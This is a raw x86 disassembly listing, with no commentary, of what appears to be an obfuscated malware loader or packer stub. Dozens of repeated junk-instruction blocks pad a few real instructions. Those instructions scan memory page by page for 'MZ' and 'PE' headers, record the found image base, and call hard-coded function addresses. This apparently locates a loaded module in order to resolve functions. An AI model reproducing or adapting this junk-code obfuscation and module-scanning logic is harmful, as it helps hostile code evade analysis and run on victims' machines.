shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp edi, 0xffffffff
je 0x5d1e66
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov edi, dword [ebp + 8]
xor eax, eax
xor ebx, ebx
mov dword [ebp + 8], eax
mov dword [ebp - 0x10], eax
xor al, byte [edi]
sub edi, eax
or ebx, dword [0x621464]
and ebx, 0xff
sub edi, ebx
xor al, byte [edi]
sub edi, eax
xor al, byte [edi]
sub edi, eax
xor al, byte [edi]
sub edi, eax
xor al, byte [edi]
mov dword [ebp - 0xc], eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov edx, dword [0x621464]
mov edi, dword [ebp - 0xc]
and edx, 0xff
xor edi, edx
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov dword [ebp - 8], 0x5d0420
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [ebp + 0xc]
push eax
mov ebx, dword [ebp - 8]
call ebx
add esp, 4
mov dword [ebp - 8], eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [ebp - 8]
and eax, 0xff
xor edi, eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp edi, 0x72
jne 0x5d1d9b
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
call fcn.00487000
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov dword [ebp + 8], 0x442930
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov dword [0x621290], 0
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov edi, dword [ebp - 0xc]
add edi, 0x1000
mov dword [ebp - 0xc], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov dword [0x6213a4], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
call eax
add esp, 4
mov dword [ebp - 8], eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [ebp - 8]
test eax, eax
je 0x5d3178
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp word [edi], 0x5a4d
jne 0x5d323a
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov ecx, dword [0x6213a4]
mov eax, dword [ecx + 0x3c]
add eax, edi
mov dword [0x62156c], eax
cmp word [eax], 0x4550
jne 0x5d323a
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
inc dword [0x6213a0]
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
